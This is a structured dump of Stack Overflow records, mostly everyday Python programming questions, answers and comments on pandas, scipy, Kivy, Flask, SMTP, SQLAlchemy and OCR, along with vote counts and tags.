has body: I am newbie to programming, so please bear with my question. I often need to process data that has two or more components, for example name and age. Alice 32 Bob 42 Terry 23 I typically creates two lists name_list and age_list and make sure that the index number fits, so that name_list[2] (Terry) and age_list[2] (23) concerns the same person. But I kind of have a feeling that this is not very smart once you have bigger amounts of data that you're adding and removing from the lists, as you have no way of knowing if data gets out of sync in case you make a mistake and only delete bob from name_list but not his age from the age_list. Is there a better way to handle data set like these?
answer count: 1
accepted answer: http://stackoverflow.com/a/47309777
favorite count: 0
has answer: http://stackoverflow.com/a/47309777
type: Question
has title: How to keep track of items with two values?
upvote count: 2

http://stackoverflow.com/comment/81616344
score: 0
has text: Note you have `print(nr_objects)` before the if loop. And you're saying it doesn't print after 10 seconds (considering that you have `time.sleep(10)`)?
comment on: http://stackoverflow.com/q/47327647
type: QuestionComment
type: Comment

http://stackoverflow.com/a/47236195
upvote count: 1
has body: you can write this way x=['a','b','c','d','e'] y=[1,2,3,4,5] zipped = zip(x,y) with open('out.txt', 'w') as fp: fp.write(''.join('%s%s' % x for x in zipped))
answers question: http://stackoverflow.com/q/47236128
score: 1
type: Answer
downvote count: 0

http://stackoverflow.com/a/47300747
upvote count: 1
type: AcceptedAnswer
has body: I don't think that this statement is valid: test!=("SAT" or "ACT") You may use test != "SAT" and test != "ACT" Or use in operator: test=input("Are you taking SAT or ACT?..") while test not in ("SAT", "ACT"): print("error") test=input("Are you taking SAT or ACT?..")
answers question: http://stackoverflow.com/q/47300651
has comment: http://stackoverflow.com/comment/81553470
has comment: http://stackoverflow.com/comment/81553989
type: Answer
accepted answer of: http://stackoverflow.com/q/47300651
has comment: http://stackoverflow.com/comment/81553135
has comment: http://stackoverflow.com/comment/81553277
downvote count: 0
score: 1

http://stackoverflow.com/a/47243106
upvote count: 1
type: Answer
has body: First of all you want bastion and lucio as a string variable, so you need to use overwatch('bastion','lucio'). Furthermore in your print statement you need to add a plus-sign: print("hello " + hero1 "and "+ hero2)
answers question: http://stackoverflow.com/q/47243065
downvote count: 0
score: 1

http://stackoverflow.com/q/47228361
score: 0
has comment: http://stackoverflow.com/comment/81408027
answer count: 1
tagged with: scipy
has comment: http://stackoverflow.com/comment/81408552
type: Question
has comment: http://stackoverflow.com/comment/81605443
linked to: http://stackoverflow.com/q/41223186
has comment: http://stackoverflow.com/comment/81407077
has comment: http://stackoverflow.com/comment/81657107
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81433051
has comment: http://stackoverflow.com/comment/81617381
has body: I need to numerically solve a convolution. I would like to feed an array at which the convolution is solved into scipy.stats.quad in one go: # Python 2.7.12 import numpy as np from scipy import integrate def gauss(x, sig, mu): return(1 / np.sqrt(2*np.pi*sig**2) * np.exp(-(x-mu)**2/(2.*sig**2))) def PDF_log(x, sig, mu): mu = np.log(mu) x = np.asarray(x) # get nans instead of errors for 1/x a = 1/(x * sig * np.sqrt(2*np.pi)) * np.exp(-(np.log(x)-mu)**2/(2*sig**2)) # make sure negative 'x' are returned to 0., as the function only is # defined for positive values. a = np.nan_to_num(a) return a def gauss_conv(t, x, sig, mu, sig0, mu0): a = PDF_log(t, sig, mu) * gauss(x-t, sig0, mu0) return a def gauss_log_num(x, sig, mu, sig0, mu0): return integrate.quad( gauss_conv, a=-np.inf, b=np.inf, args=(x, sig, mu, sig0, mu0) ) mu = 0.3 sig = 0.12 mu0 = 0. sig0 = 0.05 x = np.array([ 0.06581838, 0.11165416, 0.15748993, 0.20332571, 0.24916149, 0.29499726, 0.34083304, 0.38666882, 0.43250459, 0.47834037, 0.52417615, ]) print(gauss_log_num(x, sig, mu, sig0, mu0)) this raises: Traceback (most recent call last): File "num_gauss_lognormal.py", line 327, in &lt;module&gt; test() File "num_gauss_lognormal.py", line 325, in test print(gauss_log_num(x, sig, mu, sig0, mu0)) File "num_gauss_lognormal.py", line 163, in gauss_log_num return ( integrate.quad(gauss_conv, a = -np.inf, b = np.inf, args=(x,sig,mu,sig0,mu0)) ) File "/usr/local/lib/python2.7/dist-packages/scipy/integrate/quadpack.py", line 323, in quad points) File "/usr/local/lib/python2.7/dist-packages/scipy/integrate/quadpack.py", line 390, in _quad return _quadpack._qagie(func,bound,infbounds,args,full_output,epsabs,epsrel,limit) TypeError: only length-1 arrays can be converted to Python scalars` If I only evaluate x at a single position, e.g. x[0], the convolution works and I get a value. Obviously I could now run a for loop over x, but this feels like the slowest possible way of doing it. What do I have to do to evaluate the convo…
tagged with: python
has answer: http://stackoverflow.com/a/47229168
has comment: http://stackoverflow.com/comment/81645116
tagged with: numerical-integration
has comment: http://stackoverflow.com/comment/81409057
has title: evaluate integral at all array entries

http://stackoverflow.com/comment/124932282
comment on: http://stackoverflow.com/a/58693282
score: 0
type: Comment
has text: works for me on linux mint
type: AnswerComment

http://stackoverflow.com/a/47300513
answers question: http://stackoverflow.com/q/47300303
type: Answer
has body: import os #use this to find files under certain dir, you can filter it if there are other files target_files = os.listdir('path_to_file/') columns = list() for filename in train_files: #in your scenario @piRSquared's answer would be more efficient. columns.append(#column_numbers) If you want columns with the key by year from the filename, you can filter the filename and update dictionary like this: year = filename.replace(r'[^0-9]', '')
upvote count: 2
score: 2
downvote count: 0

http://stackoverflow.com/a/47308228
type: Answer
answers question: http://stackoverflow.com/q/47307733
score: 8
type: AcceptedAnswer
downvote count: 0
upvote count: 8
has body: use Series.str.get_dummies(): In [31]: df.join(df.Letter.str.get_dummies()) Out[31]: Position Letter a b c 0 1 a 1 0 0 1 2 b 0 1 0 2 3 c 0 0 1 3 4 b 0 1 0 4 5 b 0 1 0 or In [32]: df.join(df.Letter.str.get_dummies().astype(bool)) Out[32]: Position Letter a b c 0 1 a True False False 1 2 b False True False 2 3 c False False True 3 4 b False True False 4 5 b False True False
accepted answer of: http://stackoverflow.com/q/47307733

http://stackoverflow.com/comment/81641812
has text: It is even more weird that your columns does not have any suffixes, as you should have same columns in both dataframes. I suggest you check the content of both dataframes
comment on: http://stackoverflow.com/q/47343418
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81602929
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47324891
has text: Maybe. I don't understand why in Process it's None, not even copied reference. Do you have any idea how can I achieve object sharing beetween processes?
score: 0

http://stackoverflow.com/q/47229017
tagged with: numpy
has body: I am looking for a function that can uses all the transformation matrix of PiecewiseAffineTransform to apply on the source data to get the destination data at one run. I could use piecewise transformation and I could not find the function for using all the transformation matrix at same time, this code can use all transformation matrix in a loop which is not the right way that should be done ,I also present all the functions of the estimated transformation matrix in the skimage package import numpy as np from skimage import transform as tf from sklearn.metrics import mean_squared_error from skimage.transform import PiecewiseAffineTransform src = np.array([0,0 , 1,0 , 1,1 , 0,1]).reshape((4, 2)) dst = np.array([3,1 , 3,2 , 2,2 , 2,1]).reshape((4, 2)) tform = tf.estimate_transform('piecewise-affine', src, dst) print(src) print(dst) print(tform.affines[0].params) print(tform.affines[1].params) mt = tf.matrix_transform(src, tform.affines[0].params) print(mt) &gt;&gt;&gt; dir(tform) ['__add__', '__call__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_inverse_tesselation', '_tesselation', 'affines', 'estimate', 'inverse', 'inverse_affines', 'residuals']
answer count: 1
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/47253560
tagged with: piecewise
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81408514
has title: Picewise Transformation
has comment: http://stackoverflow.com/comment/81408482
accepted answer: http://stackoverflow.com/a/47253560
tagged with: scikit-image
tagged with: python
tagged with: affinetransform
score: 1
type: Question

http://stackoverflow.com/q/47337087
downvote count: 0
type: UnansweredQuestion
has title: RabbitMQ how pika.adapters.blocking_connection.BlockingConnection.process_data_events works?
tagged with: rabbitmq
has body: I'm working with python2.7 and pika 0.10.0 and trying to understand how to use pika.adapters.blocking_connection.BlockingConnection.process_data_events . From the doc: Will make sure that data events are processed. Dispatches timer and channel callbacks if not called from the scope of BlockingConnection or BlockingChannel callback. Your app can block on this method. If we also look at the parameter: Parameters: time_limit (float) – suggested upper bound on processing time in seconds. The actual blocking time depends on the granularity of the underlying ioloop. Zero means return as soon as possible. None means there is no limit on processing time and the function will block until I/O produces actionalable events. Defaults to 0 for backward compatibility. This parameter is NEW in pika 0.10.0. My understanding is that calling process_data_events(time_limit=2) will block for up to 2 seconds, and if in the meanwhile an event occur (e.g. we receive a message on a channel) that event will be processed; if the callback which is called in response to that event takes more than 2 seconds, it will run to completion and process_data_events(time_limit=2) will return, possible after 2 seconds. Is the correct behaviour?
linked to: http://stackoverflow.com/q/46053349
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/84158603
has comment: http://stackoverflow.com/comment/81652958
tagged with: pika
type: Question
upvote count: 2
score: 2
answer count: 0

http://stackoverflow.com/a/47364188
score: 0
type: Answer
has body: Documenting my very simple slippage - The "addition" function needs the DEFAULT positional - parameter "self" , thus solved as seen below by adding "self" to the "addition" function ..wasnt really a Django forms issue. def addition(self,a,b): return a+b
answers question: http://stackoverflow.com/q/47356095

http://stackoverflow.com/comment/81632456
type: Comment
comment on: http://stackoverflow.com/q/47339842
score: 0
has text: What does `chcp` in the command line give you?
type: QuestionComment

http://stackoverflow.com/q/47368719
has comment: http://stackoverflow.com/comment/83646436
type: UnansweredQuestion
tagged with: multithreading
tagged with: python
tagged with: flask
has title: thread error in flask app using python and scrapy
score: 0
answer count: 0
tagged with: twisted
has comment: http://stackoverflow.com/comment/83687069
tagged with: scrapy
type: Question
has body: I dont want this to be a "find the error for me" post, however, I do not have knowledge about how threading works or how the Twisted module works. That being said, I am getting this error when trying to run a scraper ValueError: signal only works in main thread I have tried and failed to figure out what exactly this means exactly but have not succeeded. If someone could point me in the right direction that would be great. Here is the main script: # [START app] import logging import subprocess import time from flask import Flask, render_template import send_email_lemay #import send_email_cave import datetime app = Flask(__name__) @app.route('/lemay', methods=['POST']) def view_do_something(): if request.method == 'POST': send_email_lemay.main("djgraff1@cougars.ccis.edu") #your database process here #subprocess.call(['python2.7', 'send_email_lemay.py']) #time.sleep(400) return "OK" else: return "NO OK" @app.errorhandler(500) def server_error(e): # Log the error and stacktrace. logging.exception('An error occurred during a request.') return 'An internal error occurred.', 500 # [END app] if __name__ == "__main__": app.run(host='0.0.0.0', port=8082, debug=True) And then here is the script that actually does the scraping: #!/usr/bin/python import subprocess import smtplib,ssl from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.utils import formatdate from email import encoders import datetime import time import os from competition.spiders.AStorageInnLemay import AStorageInnLemay from twisted.internet import reactor from scrapy.crawler import CrawlerProcess from scrapy.settings import Settings from scrapy.utils.project import get_project_settings def sendmail(email): spider = AStorageInnLemay() crawler = CrawlerProcess(get_project_settings()) crawler.crawl(spider) crawler.start() log.start() reactor.run() # the script will block here filez = "blah.csv" #%(datetime.datetime.now().strftime("%H"))…

http://stackoverflow.com/q/47314158
has answer: http://stackoverflow.com/a/47314324
possible better answer: http://stackoverflow.com/a/47314227
type: Question
has answer: http://stackoverflow.com/a/47314227
has comment: http://stackoverflow.com/comment/81579191
tagged with: python
has answer: http://stackoverflow.com/a/47315435
has body: new_list = [] i = 0 def remove_adjacent(nums): global i while i &lt; len(nums) - 1: if nums[i] != nums[i+1]: new_list.append(nums[i]) else: i += 1 remove_adjacent(nums[i:]) return i += 1 l = [1, 2, 3, 5, 4, 4, 5, 5, 6, 7, 7, 7, 8, 8, 9, 8, 8] remove_adjacent(l) print new_list Question: Given a list of numbers, return a list where all adjacent == elements have been reduced to a single element, so [1, 2, 2, 3] returns [1, 2, 3]. You may create a new list or modify the passed in list. Issue: The final list printed consists of [1, 2, 3, 5] instead of [1, 2, 3, 5, 4, 5, 6, 7, 8, 9, 8]
answer count: 4
has comment: http://stackoverflow.com/comment/81579126
has comment: http://stackoverflow.com/comment/81579328
has title: Printing a list after having removed adjacent duplicate elements
type: AnsweredQuestion
score: 0
upvote count: 1
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/47315773
accepted answer: http://stackoverflow.com/a/47314324
tagged with: recursion

http://stackoverflow.com/a/47373610
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47373607
has body: It took me some time to find the solution (this is book to learn Kivy), so you may appreciate this post if you are searching desperately... bcolor must be a Kivy property, and this can be done in the Python code. As there is no py file associated with the kv file, it can be done where Subtitle is used, in video.py. The class has to be declared using Python syntax. I moved the base class declaration from kv to py (so I removed @Label from &lt;Subtitle@Label&gt; in the kv file and added this in video.py: ... Builder.load_file('video.kv') Builder.load_file('subtitle.kv') class Subtitle(Label): &lt;-------------- bcolor = ListProperty(None) &lt;-------------- class Video(KivyVideo): image = ObjectProperty(None) surl = StringProperty(None) def on_state(self, instance, value): ... and that works:
answers question: http://stackoverflow.com/q/47373607
type: Answer

http://stackoverflow.com/comment/81503780
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47257355
has text: Have look to your Odoo log, and find the error log. I believe, there is information more than what you told.

http://stackoverflow.com/comment/81416259
type: QuestionComment
has text: use `f.lower().endswith(x)`?
score: 1
type: Comment
comment on: http://stackoverflow.com/q/47232757

http://stackoverflow.com/a/47352733
upvote count: 3
type: Answer
answers question: http://stackoverflow.com/q/47352609
downvote count: 0
has comment: http://stackoverflow.com/comment/81657933
type: AcceptedAnswer
has body: You need to split the strings in the list and check if word in the split is contained in the whitelist. Then rejoin all words in the whitelist after filtering: whitelist = {'Cat', 'Dog', 'Cow'} filtered = [] for words in keyword: filtered.append(', '.join(w for w in words.split(', ') if w in whitelist)) print(filtered) # ['Cat, Cow', 'Dog', '', 'Cat'] Better to make whitelist a set to improve the performance for lookup of each word. You could also use re.findall to find all parts of each word matching strings contained in the whitelist, and then rejoin after finding the matches: import re pattern = re.compile(',?\s?Cat|,?\s?Dog|,?\s?Cow') filtered = [''.join(pattern.findall(words))) for words in keyword]
accepted answer of: http://stackoverflow.com/q/47352609
score: 3

http://stackoverflow.com/q/47269679
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47269750
tagged with: sqlite
has title: SQLite count similair items based on first x number of characters
type: Question
accepted answer: http://stackoverflow.com/a/47269750
has body: I have a table of errors which look like "file not configured [filename1]" "file not configured [filename2]" "file not configured [filename3]" "A bomb went off!!" What i want to do is get a list of occurrences of an error eg. text occurrences ____________________________________ file not configured.. 3 a bomb went off!! 1 Is it possible to run queries in sqlite to check for similairity of the first x number of characters?
answer count: 1
tagged with: python

http://stackoverflow.com/comment/81546974
type: QuestionComment
comment on: http://stackoverflow.com/q/47297749
score: 0
type: Comment
has text: `for char in str` is going to iterate over each character in the string, and on each iteration `char` is going to hold the value of the `n`th character in the string. Appending these characters to the string results in the same string as input, but with each character repeated twice.

http://stackoverflow.com/q/47373969
type: AnsweredQuestion
has title: Pandas: how to use a function dictionary to assign a column value based on calculations between other columns
score: 0
accepted answer: http://stackoverflow.com/a/47373970
answer count: 1
has body: With the following Pandas DataFrame, how would I make a new column, "spend" for example, based on a function name in another column? Example Dataset cost method metric rate total planned 0 CPMV 2000 100 1000 1 CPMV 4000 100 1000 2 Flat 0 0 1000 3 Flat 0 0 0 4 Free 1 2 3 I need to calculate cost based on the cost method. CPMV: df.metric / 1000 * df.rate Flat: df.total planned / variableLength &lt;-- a variable Free: 0 &lt;-- return just 0
type: Question
tagged with: pandas
has answer: http://stackoverflow.com/a/47373970
tagged with: python
tagged with: dictionary

http://stackoverflow.com/a/50202099
upvote count: 3
type: Answer
has comment: http://stackoverflow.com/comment/108431283
answers question: http://stackoverflow.com/q/47268976
has comment: http://stackoverflow.com/comment/128754443
has comment: http://stackoverflow.com/comment/112290139
downvote count: 0
score: 3
has body: This is how I implemented weighted mean. Would be nice if there was a pairwise_apply for this sort of thing. from pandas.core.window import _flex_binary_moment, _Rolling_and_Expanding def weighted_mean(self, weights, **kwargs): weights = self._shallow_copy(weights) window = self._get_window(weights) def _get_weighted_mean(X, Y): X = X.astype('float64') Y = Y.astype('float64') sum_f = lambda x: x.rolling(window, self.min_periods, center=self.center).sum(**kwargs) return sum_f(X * Y) / sum_f(Y) return _flex_binary_moment(self._selected_obj, weights._selected_obj, _get_weighted_mean, pairwise=True) _Rolling_and_Expanding.weighted_mean = weighted_mean df['mean'] = df['vertical'].rolling(window = 7).weighted_mean(df['v_std'])

http://stackoverflow.com/q/47342755
has body: I am using a tkinter frame to call another tkinter frame. So from frame one i will click a button and it will check if there is a file at C:\ and if the file is not there it should call the Chrome_gui function which is another tkinter frame at "def p2(self)". When the Chrome_gui is called it will create the test file and the self.p2 will be called again to check if the file is there. But it will become a never ending loop as the function self.Chrome_guiis not called. And when i remove self.p2, the function self.Chrome_gui can be called. So can anyone tell me why it is skipping the self.Chrome_gui function? def __init__(self): tk.Tk.__init__(self) tk.Tk.title(self,"qwerty") self.b1 = tk.Button(self, text="P2", command = self.p2) self.b1.grid(row = 3, column = 1, sticky = 'EWNS' ) def p2 (self): self.values() print ('printdwo') my_file1 = Path("C:\test.pdf") if my_file1.is_file(): print ("File Found") else: print ('not found') self.Chrome_gui() self.p2() def Chrome_gui(self): self.chrome = tk.Tk() self.chrome.title('Date') self.label = tk.Label(self.chrome, text="", width=20) self.label.grid(row = 1, column = 1) self.c1 = tk.Button(self.chrome, text="Yes", command = self.yes) self.c1.grid(row = 2, column = 1, sticky = W+E)#side = LEFT) global e e = "" self.c2 = tk.Button(self.chrome, text = "No" , command = self.no) self.c2.grid(row = 3, column = 1, sticky = W+E)#side = LEFT)
has comment: http://stackoverflow.com/comment/81759379
has comment: http://stackoverflow.com/comment/81637940
type: Question
has comment: http://stackoverflow.com/comment/81642187
has answer: http://stackoverflow.com/a/47347044
has comment: http://stackoverflow.com/comment/81638106
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81643848
has comment: http://stackoverflow.com/comment/81638292
has comment: http://stackoverflow.com/comment/81638185
tagged with: tkinter
score: 0
has title: Python skipped one of my function
answer count: 1

http://stackoverflow.com/comment/81420955
type: Comment
has text: When you create an `OrderedDict` from a dictionary literal as shown, you don't really know what order the items will end up in because the **argument** is unordered. To avoid this you should use an ordered iterable like a `list`, `tuple`, or generator to control the order the returned dictionay's contents have.
type: AnswerComment
comment on: http://stackoverflow.com/a/47234884
score: 0

http://stackoverflow.com/comment/81435146
type: AnswerComment
comment on: http://stackoverflow.com/a/47242020
has text: `JsonResponse` doesn't make sense for this scenario. The question shows a template being rendered with a bit of JSON used to initialize the JavaScript on the page.
type: Comment
score: 0

http://stackoverflow.com/comment/134831676
comment on: http://stackoverflow.com/a/70028202
has text: This runs a for loop and is not vectorized.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/81455638
type: Comment
score: 0
type: AnswerComment
has text: It returns an error saying - TypeError: unhashable type: 'numpy.ndarray'
comment on: http://stackoverflow.com/a/47252680

base32
tags question: http://stackoverflow.com/q/47325517
tag name: base32
type: Tag

http://stackoverflow.com/comment/81616846
type: AnswerComment
has text: He didn't say they weren't relevant. He said ignoring the "possible angles". That means he is acknowledging there are other relevant answers though he's not going to go into them.
comment on: http://stackoverflow.com/a/47330411
type: Comment
score: 0

http://stackoverflow.com/a/47293743
score: 1
type: Answer
has body: I don't quite get the behavior you described: when I copy-paste the block of numbers from your question I get embedded line breaks and this causes raw_input() to get called multiple times. A possible workaround for that problem is to make the program treat an empty line as end-of-input: the following very simple code accepts a copy-paste of your block of numbers OK on my system (Windows, Python 2.7): while True: print ("Enter the list containing the data: ") lines = [] while True: line = raw_input() if (line): lines.append(line.lstrip().strip()) else: break data = [] for line in lines: for x in line.split(): data.append(int(x)) print data Hope this may be helpful.
answers question: http://stackoverflow.com/q/47275011
downvote count: 0
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47275011

functional-programming
tags question: http://stackoverflow.com/q/47349538
tags question: http://stackoverflow.com/q/47330801
tag name: functional-programming
type: Tag
tags question: http://stackoverflow.com/q/47366553
tags question: http://stackoverflow.com/q/47321295

http://stackoverflow.com/q/47251880
score: 4
has answer: http://stackoverflow.com/a/47251923
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81487423
favorite count: 0
upvote count: 4
has body: Currently I have a collection of hundreds of thousands of IDs as integers, and I am performing the following task (lets say this collection is stored in a list cache for now): cache = list() # lets say this cache is populated for x in range(0,1000000): if x not in cache: #do_something How expensive is it for me to use a list to search for not in something? Would I benefit from using another data structure, and if so which one would be best?
type: Question
answer count: 2
downvote count: 0
tagged with: python
possible better answer: http://stackoverflow.com/a/47252305
tagged with: data-structures
accepted answer: http://stackoverflow.com/a/47251923
has answer: http://stackoverflow.com/a/47252305
has title: Best data structure for searching through a collection

http://stackoverflow.com/a/47334550
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47334404
has body: I guess you have to use isnull() instead of empty(). import pandas df = pandas.DataFrame(columns=[1,2,3], data=[[1,2,3],[1,None,3],[None, None, None],[3,2,1],[4,5,6],[None,None,None],[None,None,None]]) df[2:3].isnull() 1 2 3 True True True
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/81620440

http://stackoverflow.com/q/47335100
downvote count: 0
has title: Text-align in left in boxlayout
upvote count: 1
type: Question
type: AnsweredQuestion
has body: user.kv #:kivy 1.10.0 #:import CoreImage kivy.core.image.Image #:import os os &lt;SelectableButton&gt;: # Draw a background to indicate selection canvas.before: Color: rgba: (0, 0.517, 0.705, 1) if self.selected else (0, 0.517, 0.705, 1) Rectangle: pos: self.pos size: self.size How to add background color of user list How to shift in left align
score: 1
accepted answer: http://stackoverflow.com/a/47337393
tagged with: python
tagged with: kivy
has answer: http://stackoverflow.com/a/47337393
favorite count: 0
tagged with: python-2.7
tagged with: kivy-language
answer count: 1

http://stackoverflow.com/comment/81589379
has text: Second, you could've just separated that argument with a comma: `print("Your pet is:", dog.isgood)` A quick read of a python tutorial/doc would've solved this.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47319066
type: Comment

http://stackoverflow.com/q/47226647
has title: Delete OCR word from Image (OpenCV,Python)
upvote count: 7
score: 7
tagged with: python
tagged with: ocr
favorite count: 0
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/81422330
answer count: 1
has comment: http://stackoverflow.com/comment/98248394
tagged with: bounding-box
has body: So, from what I can begin.. I am working with OCR. The script works pretty well for what I need. It detects the words with an accuracy which for me is ok. This is the result: 100% accuracy with attached image. from PIL import Image import pyocr.builders import os os.putenv("TESSDATA_PREFIX", "C:\\Program Files (x86)\\Tesseract-OCR") tools = pyocr.get_available_tools() tool = tools[0] langs = tool.get_available_languages() lang = langs[0] #eng file = "test.png" txt = tool.image_to_string(Image.open(file), lang=lang, builder=pyocr.builders.TextBuilder()) print(txt + '\n') ''' word = ['SHINE','ON','YOU','CRAZY','DIAMOND','SYD'] if word[2] in txt: print("## WORD IN LIST ##") else: print("## NOT IN LIST ##")''' Now the question: how can I remove from image a word which exist in the output OCR-list (in the code named txt) ? I mean, if the word SHINE exist as output in console (and in list), how can I delete it in image ? Or, if not remove, create a mask so I can hide it... I think the ocr work by selecting areas of text and creating a bounding box around the text. In this case, how to delete (or even show) this ROI/bounding box ? In the pyocr documentation there are some hints about this function (show bounding box) but I don't know how to use it. Any help/hint is appreciated. Thanks EDIT: this code show me the bounding box for each character import csv import cv2 from pytesseract import pytesseract as pt pt.run_tesseract('test.png', 'output', lang=None, boxes=True, config="hocr") # To read the coordinates boxes = [] with open('output.box', 'rt') as f: reader = csv.reader(f, delimiter = ' ') for row in reader: if len(row) == 6: boxes.append(row) # Draw the bounding box img = cv2.imread('test.png') h, w, _ = img.shape for b in boxes: img = cv2.rectangle(img,(int(b[1]),h-int(b[2])),(int(b[3]),h-int(b[4])),(255,0,0),2) cv2.imshow('output', img) cv2.waitKey(0) How can I tell it to show me only the first (whole) word ?
has answer: http://stackoverflow.com/a/58002031
accepted answer: http://stackoverflow.com/a/58002031
has comment: http://stackoverflow.com/comment/102314223
tagged with: tesseract
tagged with: opencv
type: AnsweredQuestion

http://stackoverflow.com/comment/81845203
score: 2
has text: Yes, I read the documentation. I need to import an array module from python library. I have a problem with 2D arrays.
comment on: http://stackoverflow.com/q/47245284
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47260158
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81488765
type: Answer
has body: As the documentation shows, the signature for create_user is: create_user(username, email=None, password=None, **extra_fields) So you are passing the password as the email argument. Instead, use a keyword argument: User.objects.create_user(username, password=password)
accepted answer of: http://stackoverflow.com/q/47256875
has comment: http://stackoverflow.com/comment/81489977
has comment: http://stackoverflow.com/comment/81490123
has comment: http://stackoverflow.com/comment/81488458
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47256875

http://stackoverflow.com/q/47259008
type: Question
score: 5
type: UnansweredQuestion
tagged with: email-attachments
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/57621016
tagged with: smtpclient
has comment: http://stackoverflow.com/comment/81469078
tagged with: smtp
has title: How to change the maximum message size limit on the server?
upvote count: 5
tagged with: email
has body: I have written a Python script which is send an email with an attachement, but i get always the same error message : raise SMTPSenderRefused(code, resp, from_addr) smtplib.SMTPSenderRefused: (552, b'5.3.4 Message size exceeds fixed maximum mess age size', 'notification@company.com') How can I change the maximum message size limit on the server to avoid this error message and send my email with the attachement correctly? I UPDATED MY QUESTION WITH MY CODE: emailfrom = "myemailadress" emailto = "1.person" emailto = "2.person" fileToSend = "data.csv" username = "user" password = "password" msg = MIMEMultipart() msg["From"] = emailfrom msg["To"] = emailto msg["Subject"] = "subject" msg.preamble = "subject" ctype, encoding = mimetypes.guess_type(fileToSend) if ctype is None or encoding is not None: ctype = "application/octet-stream" maintype, subtype = ctype.split("/", 1) if maintype == "text": fp = open("data.csv") # Note: we should handle calculating the charset attachment = MIMEText(fp.read(), _subtype=subtype) fp.close() elif maintype == "image": fp = open("data.csv", "rb") attachment = MIMEImage(fp.read(), _subtype=subtype) fp.close() elif maintype == "audio": fp = open("data.csv", "rb") attachment = MIMEAudio(fp.read(), _subtype=subtype) fp.close() else: fp = open("data.csv", "rb") attachment = MIMEBase(maintype, subtype) attachment.set_payload(fp.read()) fp.close() encoders.encode_base64(attachment) attachment.add_header("Content-Disposition", "attachment", filename="data.csv") msg.attach(attachment) #server = smtplib.SMTP("smtp.gmail.com:587") server = smtplib.SMTP('smtp.upcmail.hu', 25) #server.starttls() #server.login(username,password) server.sendmail(emailfrom, emailto, msg.as_string()) server.quit() time.sleep(5) I don't know how can I change the maximum message size limit on the server, I am using Debian.
tagged with: python
has comment: http://stackoverflow.com/comment/81468686
favorite count: 0

http://stackoverflow.com/q/47332295
score: 1
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/81626248
tagged with: sqlalchemy
has title: Is there a faster way to do Sqlalchemy core bulk insert?
type: Question
answer count: 0
downvote count: 0
upvote count: 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81627235
linked to: http://stackoverflow.com/q/45484171
favorite count: 0
has comment: http://stackoverflow.com/comment/81646805
has body: Now I have read about this bulk insert in the documentation of sqlalchemy, but for my application it is maybe taking more time than it should ! First I'll show you how I'm doing it: def insert_all(self, table_name, schema_name, df): if not df.empty: values = df.to_dict(orient='records') table = Table(table_name , self._metadata, autoload=True, schema=schema_name) result_proxy = self._connection.execute(table.insert(), values) return result_proxy else: return None Where values are of the form: [{'col1': 1.0, 'col2': 0.5}, {'col1': 2.0, 'col2': 0.75}, ...] But number of columns may vary. Using this method it takes about 15 to 20 minutes to insert 400,000 records into MSSQL Server. Could you please tell me if this is normal, if not, what can I do to make this process faster ?

http://stackoverflow.com/comment/81629576
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47338547
has text: I'm hesitating. It's about wrongly iterating over a deque. I've voted to close, and I won't reopen, but other commenters have the powers to do so, and I don't mind them doing so if they feel it's a different question (it's always nicer when the reopener has the blessing of the closer, not that it's strictly needed but...)
type: Comment

http://stackoverflow.com/q/47338678
tagged with: python
upvote count: 6
has comment: http://stackoverflow.com/comment/81665952
type: Question
score: 5
answer count: 0
has comment: http://stackoverflow.com/comment/81635496
type: UnansweredQuestion
downvote count: 1
favorite count: 0
tagged with: networkx
has comment: http://stackoverflow.com/comment/81664557
tagged with: http://stackoverflow.com/tag/r
has body: Question: Which libraries/packages are the most efficient (in terms of memory use and speed) to analyze multilayer networks? Desired answer: Ideally, the answer to this question would involve using each of these libraries to create a pre-defined network and calculate a few centrality measures (e.g. page rank), benchmarking the amount of time and RAM memory each library uses. Something similar to this benchmark here. List of packages I'm particularly interested in libraries/packages in R or Python. I list below some the packages I was recommended, but feel free to add others to the list: Libraries in Python: Pymnet - pure python NetworkX - pure python graph-tool - python and C++ mammult - python and C Libraries in R: multinet - R and C++ multiplex - pure R multigraph - pure R MuxViz - pure R. obs. I've only tried MuxViz and I quite like it. It's very easy to use and understand but I find it could be faster.
tagged with: network-programming
has comment: http://stackoverflow.com/comment/81665828
has title: What is the most efficient library to work with Multilayer networks in Python or R?
has comment: http://stackoverflow.com/comment/81665223
tagged with: graph-tool

http://stackoverflow.com/a/47316532
score: 0
